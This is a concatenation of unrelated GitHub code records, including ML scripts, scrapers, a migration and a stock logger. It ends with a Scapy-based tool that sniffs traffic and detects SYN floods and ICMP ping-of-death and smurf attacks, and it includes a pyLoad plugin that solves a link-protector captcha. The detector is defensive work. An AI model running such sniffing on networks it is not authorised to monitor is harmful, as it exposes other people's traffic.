models.CriticModel_sim(opt)\n internal = internal.cuda()\n if opt.internal_dir != mnt_path:\n internal.load_state_dict(torch.load(opt.internal_dir, map_location='cuda:0'))\n internal.eval()\n\nelse:\n internal = None\n\nif infos['opt'].caption_model == 'hcatt_hard':\n opt.sim_reward_flg = 1\n\nopt.internal = internal\n\n# /mnt/workspace2018/nakamura/selfsequential/vis\n\nimport pickle\n# Set sample options\nprint('Set sample options')\nif opt.output == 1:\n splits = ['test']\n for split in splits:\n opt.split = split\n loss, split_predictions, lang_stats = eval_utils.eval_split_output(model, crit, loader, vars(opt), Discriminator=Discriminator, Discriminator_learned=Discriminator_learned)\n # with open('/mnt/poplin/share/2018/nakamura_M1/self_sequential/vis/vis_hcatt_04.json', 'w') as f:\n # print(model.training, internal.training, sim_model.training)\n\n dir = '/mnt/workspace2018/nakamura/selfsequential/vis'\n if not os.path.isdir(dir):\n os.mkdir(dir)\n if opt.beam_size > 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_' + 'beam' + str(opt.beam_size)\n # else:\n # filename = opt.id + '_' + opt.model[-13:-4] + '_urs'\n elif opt.baseline_concat == 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_baselineA_lessthan08_wbf5'\n elif opt.whole_att_flg == 1:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_baselineB_lessthan08_wbf5'\n elif opt.internal_model == 'sim':\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_nouselessthan08'\n else:\n filename = opt.id + '_' + opt.model[-13:-4] + '_py3_re'\n # filename = opt.id + '_' + opt.model[-13:-4] + '_att_fasten'\n\n if opt.language_eval == 1:\n text = eval_utils.write_record(infos['opt'].id + '_' + opt.model[-13:-4], split_predictions, lang_stats)\n with open(dir + '/result_' + filename + '_' + opt.dataset + '.txt', 'w') as f:\n f.write(text)\n\n with open(dir + '/' + filename + '_' + split + '.json', 'wb') as f:\n pickle.dump(split_predictions, f)\n print('json are saved to ' + dir + '/' + filename + '_' + split + '.json')\n exit()\nelse:\n loss, split_predictions, lang_stats = eval_utils.eval_split(model, crit, loader, vars(opt))\n\nprint('loss: ', loss)\nif lang_stats:\n print(lang_stats)\n\nif opt.dump_json == 1:\n # dump the json\n json.dump(split_predictions, open('vis/vis.json', 'w'))\n","repo_name":"hiroki1701/selfsequential","sub_path":"eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":18941,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"74217967430","text":"import configparser\n\n\n# config parser\ndef getConfig(filename, section, option):\n # create a parser\n parser = configparser.ConfigParser()\n # read config file\n parser.read(filename)\n # get section\n value = parser.get(section, option)\n # return value\n return value\n","repo_name":"JinZhuXing/FreeProxyChecker","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"23352729811","text":"import math, numpy\n\n# Covert from spherical coordinates\n# into cartesian (adjusted for pi3d coordinate system, where\n# X-Y plane is the screen)\n# See reference: http://www.geom.uiuc.edu/docs/reference/CRC-formulas/node42.html\n#\n# az - Azimuth (in degrees)\n# incl - Inclination (in degreez)\ndef spher_to_cart(az, incl, r):\n phi = math.radians(90 - incl)\n theta = math.radians(az)\n \n x = r * math.cos(theta)*math.sin(phi)\n y = r * math.sin(theta)*math.sin(phi)\n z = r * math.cos(phi)\n\n return (y, z, x)\n\n\nclass LinearMotion:\n # from_location - Initial object location\n # to_location - Final object location\n # speed - The speed of the item towards the origin\n # t0 - The initial time\n def __init__(self, from_location, to_location, speed, t0):\n self.b = from_location\n self.t0 = t0\n self.a = (to_location-from_location)*speed\n\n def location(self, t):\n dt = t - self.t0\n return self.b + self.a*dt\n\n","repo_name":"avishorp/astrogun","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":969,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"27"}
+{"seq_id":"7603350180","text":"\"\"\"empty message\n\nRevision ID: 19b7f8216758\nRevises: \nCreate Date: 2022-11-29 11:36:40.242501\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = \"19b7f8216758\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table(\n \"Show\",\n sa.Column(\"id\", sa.Integer(), nullable=False),\n sa.Column(\"venue_id\", sa.Integer(), nullable=False),\n sa.Column(\"artist_id\", sa.Integer(), nullable=False),\n sa.Column(\"start_time\", sa.String(), nullable=False),\n sa.ForeignKeyConstraint(\n [\"artist_id\"],\n [\"Artist.id\"],\n ),\n sa.ForeignKeyConstraint(\n [\"venue_id\"],\n [\"Venue.id\"],\n ),\n sa.PrimaryKeyConstraint(\"id\"),\n )\n with op.batch_alter_table(\"Artist\", schema=None) as batch_op:\n batch_op.add_column(sa.Column(\"website\", sa.String(length=500), nullable=True))\n batch_op.add_column(sa.Column(\"seeking_venue\", sa.Boolean(), nullable=True))\n batch_op.add_column(\n sa.Column(\"seeking_description\", sa.String(length=500), nullable=True)\n )\n # change data type of column 'genres' from string to array\n batch_op.drop_column(\"genres\")\n batch_op.add_column(sa.Column(\"genres\", sa.ARRAY(sa.String()), nullable=True))\n\n with op.batch_alter_table(\"Venue\", schema=None) as batch_op:\n batch_op.add_column(sa.Column(\"genres\", sa.ARRAY(sa.String()), nullable=True))\n batch_op.add_column(sa.Column(\"website\", sa.String(length=500), nullable=True))\n batch_op.add_column(sa.Column(\"seeking_talent\", sa.Boolean(), nullable=True))\n batch_op.add_column(\n sa.Column(\"seeking_description\", sa.String(length=500), nullable=True)\n )\n\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n with op.batch_alter_table(\"Venue\", schema=None) as batch_op:\n batch_op.drop_column(\"seeking_description\")\n batch_op.drop_column(\"seeking_talent\")\n batch_op.drop_column(\"website\")\n batch_op.drop_column(\"genres\")\n\n with op.batch_alter_table(\"Artist\", schema=None) as batch_op:\n batch_op.drop_column(\"seeking_description\")\n batch_op.drop_column(\"seeking_venue\")\n batch_op.drop_column(\"website\")\n # rollback column 'genres' to string type\n batch_op.drop_column(\"genres\")\n batch_op.add_column(\n sa.Column(\n \"genres\", sa.VARCHAR(length=120), autoincrement=False, nullable=True\n )\n )\n\n op.drop_table(\"Show\")\n # ### end Alembic commands ###\n","repo_name":"donguyen426/fyyur","sub_path":"migrations/versions/19b7f8216758_.py","file_name":"19b7f8216758_.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"8469715705","text":"'''\nSamir Townsley\nMarch 13, 2021\nNCAA Season Data Scraper\n\nDescription: \n Get advanced season stats for all NCAA tournament teams between specified year range (inclusive). Default year range is 1993 through 2021. Output is a .csv file where each row corresponds to the statistics for a team for a given season. File is saved in the 'data/season_adv/' directory.\nUsage: \n Run with default parameters - python3 get_season_adv_data.py\n Run with manual year entry - python3 get_season_adv_data.py \nSource:\n www.sports-reference.com\n'''\n\nfrom mm_modeling.scrapers.ScraperBase import ScraperBase\n\n\nclass AdvSeasonScraper(ScraperBase):\n NAME = \"season_adv\"\n\n def __init__(self):\n ScraperBase.__init__(self)\n \n def _get_name(self):\n return self.NAME\n \n def extract_columns(self, thead):\n cols = []\n headers = thead.find_all('tr')\n\n # Get high-level columns\n for over in headers[0].find_all('th'): \n val = over.get('colspan')\n cnt = 1 if val is None else int(val)\n cols.extend([over.text]*cnt)\n\n # Combine with sub-columns\n for i,under in enumerate(headers[1].find_all('th')): \n cols[i] = cols[i]+'_'+under.text\n\n return cols\n \n def build_table(self, tbody, table, year):\n for trow in tbody.find_all('tr'):\n # Check if row is not relevant\n if trow.has_attr('data-row'):\n continue\n\n # Append each item in row\n row = []\n for col in trow.find_all('td'):\n # Split school name and NCAA appearance\n item = col.text.split('\\xa0')\n row.extend(item)\n\n # Check if team was in NCAA tourney\n if len(row) > 0 and row[1] == 'NCAA':\n table.append([year]+row[:1]+row[2:])\n\n return table\n\n def run(self):\n table = []\n for year in range(int(self.START),int(self.END)+1):\n ### Status report\n print('\\tCurrent year: '+str(year), end=\"\\r\", flush=True)\n\n ### Fetch web data from \"sports-reference.com\"\n url = f\"https://www.sports-reference.com/cbb/seasons/{year}-advanced-school-stats.html\"\n page = self.get(url)\n\n ### Process content\n try:\n thead, tbody = self.get_head_and_body(page)\n except:\n # No season data available for this year\n print('\\tNo data found: %s%s' % (str(year),\" \"*10))\n continue\n\n ### Extract table column names\n if len(table) == 0:\n cols = self.extract_columns(thead)\n table = [['Year']+cols[1:]]\n\n ### Build out table\n self.build_table(tbody, table, year)\n\n self.save(table)\n\nif __name__ == \"__main__\":\n s = AdvSeasonScraper()\n s.run()","repo_name":"samirkt/march_madness_predictive_modeling","sub_path":"mm_modeling/scrapers/AdvSeasonScraper.py","file_name":"AdvSeasonScraper.py","file_ext":"py","file_size_in_byte":2935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"70555726151","text":"# DNN model builder using TensorFlow\nimport tensorflow as tf\nfrom tensorflow.examples.tutorials.mnist import input_data\nimport numpy as np\nfrom enum import Enum\n\n\ndef load_data(data_path=\"MNIST_data/\", one_hot=True):\n dataset = input_data.read_data_sets(data_path, one_hot=one_hot, validation_size=0)\n return dataset\n\n# enum parameters\nlayer_type = Enum('layer_type', 'FC CNN')\nactivate_fn_type = Enum('activate_fn_type', 'No_act Sigmoid tanh ReLU')\ninit_fn_type = Enum('init_fn_type', 'No_init Normal Xavier')\nloss_fn_type = Enum('loss_fn_type', 'Cross_Entropy')\noptimizer_type = Enum('optimizer_type', 'SGD Adam RMSProp')\n\n\nclass TFModel:\n\n def __init__(self, model_params):\n # TF session\n self.sess = tf.Session()\n self.model_params = model_params\n self.merge_flag = False\n\n def __del__(self):\n self.sess.close()\n print('session closed')\n\n def merge_summaries(self, log_dir, merge_flag=False):\n # tensorboard\n if not merge_flag:\n self.merged_summary = tf.summary.merge_all()\n self.merge_flag = True\n\n self.writer = tf.summary.FileWriter(log_dir)\n print('\\nTraining log saved to', log_dir)\n\n def init_variables(self):\n # initialize variables\n self.sess.run(tf.global_variables_initializer())\n print(\"\\nGlobal variable initialized.\")\n\n def build(self):\n with tf.name_scope(self.model_params.name + '/model'):\n # input place holders\n with tf.name_scope('Input'):\n self.X = tf.placeholder(tf.float32, [None, self.model_params.input_size])\n self.input = self.X\n self.Y = tf.placeholder(tf.float32, [None, self.model_params.num_classes])\n self.training = tf.placeholder(tf.bool)\n\n with tf.name_scope('HiddenLayers'):\n num_layers = self.model_params.num_layers\n for i in range(num_layers):\n layer_name = 'Layer%d' % (i+1)\n with tf.name_scope(layer_name):\n # Activation function\n if self.model_params.activate_fn[i] == activate_fn_type.No_act.value:\n act_fn = None\n elif self.model_params.activate_fn[i] == activate_fn_type.Sigmoid.value:\n act_fn = tf.nn.sigmoid\n elif self.model_params.activate_fn[i] == activate_fn_type.tanh.value:\n act_fn = tf.nn.tanh\n elif self.model_params.activate_fn[i] == activate_fn_type.ReLU.value:\n act_fn = tf.nn.relu\n else:\n pass\n\n # Initializer\n if self.model_params.init_fn[i] == init_fn_type.No_init.value:\n init_fn = None\n elif self.model_params.init_fn[i] == init_fn_type.Normal.value:\n init_fn = tf.random_normal_initializer()\n elif self.model_params.init_fn[i] == init_fn_type.Xavier.value:\n init_fn = tf.contrib.layers.xavier_initializer()\n else:\n pass\n\n # Fully-connected Layer\n if self.model_params.layer_type[i] == layer_type.FC.value:\n print(\"Hidden layer #%d: \" % (i + 1))\n if i == 0:\n self.input = self.X\n elif self.model_params.layer_type[i - 1] == layer_type.FC.value:\n self.input = out\n elif self.model_params.layer_type[i-1] == layer_type.CNN.value:\n flatten_size = int(out.shape[1]*out.shape[2]*out.shape[3])\n self.input = tf.reshape(out, [-1, flatten_size])\n else:\n pass\n\n num_neurons = self.model_params.output_size[i]\n out = tf.layers.dense(inputs=self.input,\n units=num_neurons,\n activation=act_fn,\n kernel_initializer=init_fn)\n\n print(\"\\tAdding FC layer...\")\n print(\"\\t\\t# of neurons = %d\" % num_neurons)\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n\n\n # Convolutional Layer\n elif self.model_params.layer_type[i] == layer_type.CNN.value:\n print(\"Hidden layer #%d:\" % (i+1))\n if i == 0:\n self.input = tf.reshape(self.X, [-1, 28, 28, 1])\n else:\n self.input = out\n\n num_filters = self.model_params.output_size[i]\n k_size = self.model_params.kernel_size[i]\n s_size = self.model_params.kernel_stride[i]\n\n out = tf.layers.conv2d(inputs=self.input,\n filters=num_filters,\n kernel_size=[k_size, k_size],\n strides=(s_size, s_size),\n padding=\"SAME\",\n activation=act_fn,\n kernel_initializer=init_fn)\n\n print(\"\\tAdding Conv2D layer...\")\n print(\"\\t\\tKernel size = %dx%d, Stride = (%d, %d)\" %(k_size, k_size, s_size, s_size))\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n # Pooling Layer\n self.input = out\n p_size = self.model_params.pool_size[i]\n pool_s_size = self.model_params.pool_stride[i]\n\n if self.model_params.use_pooling[i]:\n out = tf.layers.max_pooling2d(inputs=self.input,\n pool_size=[p_size, p_size],\n padding=\"SAME\",\n strides=pool_s_size)\n\n print(\"\\tAdding MaxPooling layer...\")\n print(\"\\t\\tKernel size = %dx%d, Stride = (%d, %d)\" %(p_size, p_size, pool_s_size, pool_s_size))\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", out.shape)\n\n # Dropout\n keep_prob = self.model_params.keep_prob[i]\n if self.model_params.use_dropout[i]:\n out = tf.layers.dropout(inputs=out,\n rate=keep_prob,\n training=self.training)\n\n print(\"\\tAdding Dropout layer...\")\n print(\"\\t\\tkeep_prob = %0.1f\" % keep_prob)\n\n # Summaries\n tf.summary.histogram('Activation', out)\n\n # Output (no activation) Layer\n with tf.name_scope('OutputLayer'):\n print(\"Output layer: \")\n\n if self.model_params.layer_type[i] == layer_type.FC.value:\n self.input = out\n elif self.model_params.layer_type[i] == layer_type.CNN.value:\n flatten_size = int(out.shape[1] * out.shape[2] * out.shape[3])\n self.input = tf.reshape(out, [-1, flatten_size])\n else:\n pass\n\n self.logits = tf.layers.dense(inputs=self.input,\n units=self.model_params.num_classes,\n activation=None,\n kernel_initializer=init_fn)\n print(\"\\tAdding FC layer...\")\n print(\"\\t\\tInput:\", self.input.shape, \"-> Output:\", self.logits.shape)\n\n # Summaries\n tf.summary.histogram('Activation', self.logits)\n\n\n return True\n\n def set_optimizer(self, train_params):\n self.train_params = train_params\n lossFn = self.train_params.loss_fn\n optimizer = self.train_params.optimizer\n learning_rate = self.train_params.learning_rate\n\n with tf.name_scope(self.model_params.name + '/Train'):\n # define cost/loss & optimizer\n with tf.name_scope('Cost'):\n if lossFn == loss_fn_type.Cross_Entropy.value:\n print(\"\\nLoss function: Cross_Entropy.\")\n self.cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(\n logits=self.logits, labels=self.Y))\n\n with tf.name_scope('Optimizer'):\n if optimizer == optimizer_type.SGD.value:\n print(\"\\nSGD optimizer is selected.\")\n self.optimizer = tf.train.GradientDescentOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n elif optimizer == optimizer_type.Adam.value:\n print(\"\\nAdam optimizer is selected.\")\n self.optimizer = tf.train.AdamOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n elif optimizer == optimizer_type.RMSProp.value:\n print(\"\\nRMSProp optimizer is selected.\")\n self.optimizer = tf.train.RMSPropOptimizer(\n learning_rate=learning_rate).minimize(self.cost)\n else:\n pass\n\n with tf.name_scope('Accuracy'):\n correct_prediction = tf.equal(tf.argmax(self.logits, 1), tf.argmax(self.Y, 1))\n self.accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n\n # Summaries\n tf.summary.scalar('Cost', self.cost)\n tf.summary.scalar('Accuracy', self.accuracy)\n\n # merge summaries\n self.merge_summaries(self.train_params.train_dir, self.merge_flag)\n\n # initialize variables\n self.init_variables()\n\n def train_batch(self, train_params, dataset, prev_global_step, training=True):\n self.train_params = train_params\n self.avg_cost = 0\n self.avg_accu = 0\n for step in range(self.train_params.num_batch_train):\n batch_xs, batch_ys = dataset.next_batch(self.train_params.batch_size)\n\n summary, c, _, accu = self.sess.run([self.merged_summary, self.cost, self.optimizer, self.accuracy],\n feed_dict={self.X: batch_xs, self.Y: batch_ys, self.training: training})\n # average cost and accuracy\n self.avg_cost += c / self.train_params.num_batch_train\n self.avg_accu += accu / self.train_params.num_batch_train\n\n # add summary\n global_step = prev_global_step + step\n self.writer.add_summary(summary, global_step=global_step)\n\n return self.avg_cost, self.avg_accu\n\n def predict(self, image, training=False):\n image = np.asarray(image, dtype=\"float32\")\n # normalize image 0 to 1\n if image.max() == 255:\n image = image / 255\n\n image = 1.0 - image\n image = image.reshape((1, self.model_params.input_size))\n score = tf.nn.softmax(self.logits)\n prediction = tf.argmax(score, 1)[0]\n return self.sess.run([score, prediction],\n feed_dict={self.X: image, self.training: training})\n\n def evaluate(self, test_data_set, training=False):\n return self.sess.run(self.accuracy,\n feed_dict={self.X: test_data_set.images, self.Y: test_data_set.labels, self.training: training})\n\n def load_model(self, restore_dir):\n # restore saved session\n self.saver = tf.train.Saver()\n self.saver.restore(self.sess, restore_dir + self.model_params.name)\n\n def save_model(self, model_dir):\n # save session\n self.init_variables()\n self.saver = tf.train.Saver()\n tf.gfile.MakeDirs(model_dir)\n self.saver.save(self.sess, model_dir + self.model_params.name)\n # save graph\n self.writer = tf.summary.FileWriter(model_dir)\n self.writer.add_graph(self.sess.graph) # Show the graph\n","repo_name":"togheppi/PyQt","sub_path":"tf_model.py","file_name":"tf_model.py","file_ext":"py","file_size_in_byte":12923,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"71236276553","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport re\n\nfrom module.plugins.Crypter import Crypter\nfrom module.lib.BeautifulSoup import BeautifulSoup\nfrom module.unescape import unescape\n\nclass RSLayerCom(Crypter):\n __name__ = \"RSLayerCom\"\n __type__ = \"container\"\n __pattern__ = r\"http://(www\\.)?rs-layer.com/directory-\"\n __config__ = []\n __version__ = \"0.2\"\n __description__ = \"\"\"RS-Layer.com Container Plugin\"\"\"\n __author_name__ = (\"hzpz\")\n __author_mail__ = (\"none\")\n\n def decrypt(self, pyfile):\n url = pyfile.url\n src = self.req.load(str(url))\n\n soup = BeautifulSoup(src)\n captchaTag = soup.find(\"img\", attrs={\"id\": \"captcha_image\"})\n if captchaTag:\n captchaUrl = \"http://rs-layer.com/\" + captchaTag[\"src\"]\n self.logDebug(\"Captcha URL: %s\" % captchaUrl)\n result = self.decryptCaptcha(str(captchaUrl), imgtype=\"png\")\n captchaInput = soup.find(\"input\", attrs={\"id\": \"captcha\"})\n self.req.lastUrl = url\n src = self.req.load(str(url), post={'captcha_input': result, 'image_name': captchaTag[\"src\"]})\n\n link_ids = re.findall(r\"onclick=\\\"getFile\\(\\'([0-9]{7}-.{8})\\'\\);changeBackgroundColor\", src)\n\n if not len(link_ids) > 0:\n self.retry()\n\n self.correctCaptcha()\n\n links = []\n for id in link_ids:\n self.logDebug(\"ID: %s\" % id)\n new_link = unescape(re.search(r\"
- \\s*
- 商品名称：(.*?) \\s*
- 生产厂家：(.*?) .*?
Toto je seznam úkolů
')\n return render(request,'ukoly/seznam-ukolu.html', context=dict(ukoly=ukoly, jmeno=jmeno))\n\ndef detail_ukolu(request, index_ukolu):\n ukol = get_object_or_404(models.Ukol, id=index_ukolu)\n\n if request.method == \"POST\":\n nazev = request.POST[\"nazev\"]\n autor = request.POST[\"autor\"]\n stav = request.POST.get(\"stav\")\n ukol.nazev = nazev\n ukol.autor = autor\n ukol.stav = bool(stav)\n ukol.save()\n print(nazev,autor,stav)\n return redirect(ukol.get_absolute_url())\n return render(request,\"ukoly/detail-ukolu.html\", context=dict(ukol=ukol,index_ukolu=index_ukolu))","repo_name":"Zirk0n/_prvni_project","sub_path":"ukoly/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71550103726","text":"import argparse\nimport os\nimport shutil\nimport sys\n\nimport d1_common.iter.path\nimport d1_common.util\nimport d1_common.utils.ulog\n\n# Files and directories to delete\nJUNK_GLOB_DIR_LIST = [\n \"*egg-info/\",\n \".cache/\",\n \".eggs/\",\n \".pytest_cache/\",\n \"__pycache__/\",\n \"build/\",\n \"cover/\",\n \"dist/\",\n \"htmlcov/\",\n \"stores/object/\",\n]\n\nJUNK_GLOB_FILE_LIST = [\n \"*.bak\",\n \"*.log\",\n \"*.pyc\",\n \"*.tmp\",\n \"*~\",\n \".coverage\",\n \".coverage.*\",\n \"coverage.xml\",\n \"coverage_pycharm.xml\",\n \"pip_freeze_*.txt\",\n]\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter\n )\n parser.add_argument(\"path\", nargs=\"+\", help=\"File or directory path\")\n parser.add_argument(\n \"--no-recursive\",\n dest=\"recursive\",\n action=\"store_false\",\n help=\"Search directories recursively\",\n )\n parser.add_argument(\n \"--ignore-invalid\", action=\"store_true\", help=\"Ignore invalid paths\"\n )\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"Debug level logging\")\n parser.add_argument(\"--dry-run\", action=\"store_true\", help=\"Simulate only\")\n parser.add_argument(\n \"--yes\",\n dest=\"is_interactive\",\n action=\"store_false\",\n help=\"Delete without user prompts\",\n )\n\n args = parser.parse_args()\n d1_common.utils.ulog.setup(args.debug)\n\n itr = d1_common.iter.path.path_generator(\n path_list=args.path,\n include_glob_list=JUNK_GLOB_FILE_LIST,\n exclude_glob_list=JUNK_GLOB_DIR_LIST,\n recursive=args.recursive,\n ignore_invalid=args.ignore_invalid,\n default_excludes=False,\n return_entered_dir_paths=False,\n return_skipped_dir_paths=True,\n )\n\n for p in itr:\n print(p)\n\n if os.path.isdir(p):\n if args.is_interactive:\n if not confirm(\"Delete directory tree?\"):\n continue\n if not args.dry_run:\n shutil.rmtree(p)\n else:\n if args.is_interactive:\n if not confirm(\"Delete file?\"):\n continue\n if not args.dry_run:\n os.unlink(p)\n\n\ndef confirm(yes_no_question_str):\n while True:\n reply_str = input(\"{} Yes/No [Enter/n]: \".format(yes_no_question_str))\n if reply_str == \"\":\n return True\n if reply_str == \"n\":\n return False\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"DataONEorg/d1_python","sub_path":"dev_tools/src/d1_dev/clean-tree.py","file_name":"clean-tree.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"2"} +{"seq_id":"23386338430","text":"# authour: Zachary Christian\n# date: 20200419\nimport stockRequest, config, json, csv\nfrom time import strftime\nimport os\nfrom os import path\n\n# I am going to have to call this function with a parameter\n# for the stock ticker as well as one for the config key\ndef retrieveStockData(ticker, key):\n stockJson = json.loads(stockRequest.getQuote(ticker,key).text)\n \n currTime = strftime('%H%M%S')\n currDate = strftime('%Y%m%d')\n openPrice = stockJson['open']\n currPrice = stockJson['iexRealtimePrice']\n\n if openPrice == None:\n openPrice = stockJson['previousClose']\n fromOpen = openPrice - currPrice\n\n dataArray= [openPrice, currPrice, fromOpen, currTime, currDate]\n print(dataArray)\n return dataArray\n\n# createFileForTicker makes a csv file with the column names\n# open, current price, data\ndef createFileForTicker(ticker):\n with open(str(ticker).upper() + str('.csv'), 'w', newline='') as file:\n csv.writer(file).writerow(['Open', 'Current Price','From Open', 'Time', 'Date'])\n file.close()\n\n# appendDataToFile appends the important data to the csv file\ndef appendDataToFile(ticker, stockData):\n with open(str(ticker) + str('.csv'), 'a', newline='') as file:\n worker = csv.writer(file)\n worker.writerow(stockData)\n file.close()\n\n# this is going to check for a file with the title of the stock ticker\n# for instance, the Apple inc. file would be, AAPL\n#\n# this function is going to have multiple parts\n# 1) to check if the file is created,\n#\n# 2) create the file if not existed:\n# a) need to make cell names for data:\n# open, current price, time of price\n#\n# 3) if the file is created, then append data to file\n#\ndef checkForStockFile(ticker, stockData):\n currDate = strftime('%Y%m%d')\n tickerFinal = str(ticker) + str(currDate)\n\n if path.exists(str(ticker) + str(\".csv\")):\n appendDataToFile(ticker, stockData)\n else:\n createFileForTicker(ticker)\n appendDataToFile(ticker, stockData)\n\n if path.exists(str(tickerFinal) + str('.csv')):\n appendDataToFile(tickerFinal, stockData)\n else:\n createFileForTicker(tickerFinal)\n appendDataToFile(tickerFinal, stockData)\n\n# This function checks for a dir that is the name of\n# the ticker we are tracking and if it is not created\n# it creates the dir then switches to its path\n# and then executes the checkForStockFile function\n# inside\n\ndef checkForStockDir(ticker):\n currPath = os.getcwd()\n tmp = str('/') + str(ticker)\n # this is the final path for the stock ticker file\n tickerPath = currPath + tmp\n\n if path.exists(str(ticker)):\n os.chdir(tickerPath)\n checkForStockFile(ticker, retrieveStockData(ticker, config.key))\n os.chdir(currPath)\n # going to add checkForStockFile here\n else:\n os.mkdir(tickerPath.upper())\n os.chdir(tickerPath)\n checkForStockFile(ticker, retrieveStockData(ticker, config.key))\n os.chdir(currPath)\n # going to add checkForStockFile here\n\n\n\n\n\n\n\n","repo_name":"zachar1a/stock-tracker","sub_path":"stockLog.py","file_name":"stockLog.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"23532529169","text":"from odoo import fields, models\n\n\nclass FinancialBudgetDetail(models.Model):\n _name = \"financial_budget.detail\"\n _description = \"Financial Budget Detail\"\n _inherit = [\n \"mixin.product_line_price\",\n ]\n\n budget_id = fields.Many2one(\n string=\"# Budget\",\n comodel_name=\"financial_budget.budget\",\n required=True,\n ondelete=\"cascade\",\n )\n period_id = fields.Many2one(\n string=\"Period\",\n comodel_name=\"date.range\",\n related=\"budget_id.period_id\",\n store=True,\n )\n date_start = fields.Date(\n string=\"Date Start\",\n related=\"budget_id.period_id.date_start\",\n store=True,\n )\n date_end = fields.Date(\n string=\"Date End\",\n related=\"budget_id.period_id.date_end\",\n store=True,\n )\n type_id = fields.Many2one(\n string=\"Type\",\n comodel_name=\"financial_budget.type\",\n related=\"budget_id.type_id\",\n store=False,\n )\n account_id = fields.Many2one(\n string=\"Account\",\n comodel_name=\"account.account\",\n required=True,\n )\n direction = fields.Selection(\n string=\"Direction\",\n selection=[\n (\"revenue\", \"Revenue\"),\n (\"cost\", \"Cost\"),\n ],\n required=True,\n default=\"revenue\",\n )\n","repo_name":"open-synergy/ssi-budget","sub_path":"ssi_financial_budget/models/financial_budget_detail.py","file_name":"financial_budget_detail.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10766725372","text":"import os\nimport sys\nimport ctypes\nimport threading\nfrom scapy.all import *\nfrom queue import Queue\n\nbanner = '''-----------------------\nSniffnDetect v.1.1\n-----------------------\n'''\n\n\nclass SniffnDetect():\n def __init__(self):\n self.INTERFACE = conf.iface\n self.MY_IP = [x[4] for x in conf.route.routes if x[2]\n != '0.0.0.0' and x[3] == self.INTERFACE][0]\n self.MY_MAC = get_if_hwaddr(self.INTERFACE)\n self.WEBSOCKET = None\n self.PACKETS_QUEUE = Queue()\n self.MAC_TABLE = {}\n self.RECENT_ACTIVITIES = []\n self.FILTERED_ACTIVITIES = {\n 'TCP-SYN': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'TCP-SYNACK': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-POD': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-SMURF': {'flag': False, 'activities': [], 'attacker-mac': []},\n }\n self.flag = False\n\n def sniffer_threader(self):\n while self.flag:\n pkt = sniff(count=1)\n with threading.Lock():\n self.PACKETS_QUEUE.put(pkt[0])\n\n def analyze_threader(self):\n while self.flag:\n pkt = self.PACKETS_QUEUE.get()\n self.analyze_packet(pkt)\n self.PACKETS_QUEUE.task_done()\n\n def check_avg_time(self, activities):\n time = 0\n c = -1\n while c > -31:\n time += activities[c][0] - activities[c-1][0]\n c -= 1\n time /= len(activities)\n return (time < 2 and self.RECENT_ACTIVITIES[-1][0] - activities[-1][0] < 10)\n\n def find_attackers(self, category):\n data = []\n for mac in self.FILTERED_ACTIVITIES[category]['attacker-mac']:\n data.append(\n f\"({self.MAC_TABLE[mac]}, {mac})\" if mac in self.MAC_TABLE else f\"(Unknown IP, {mac})\")\n return category + ' Attackers :' + \"
\".join(data) + '
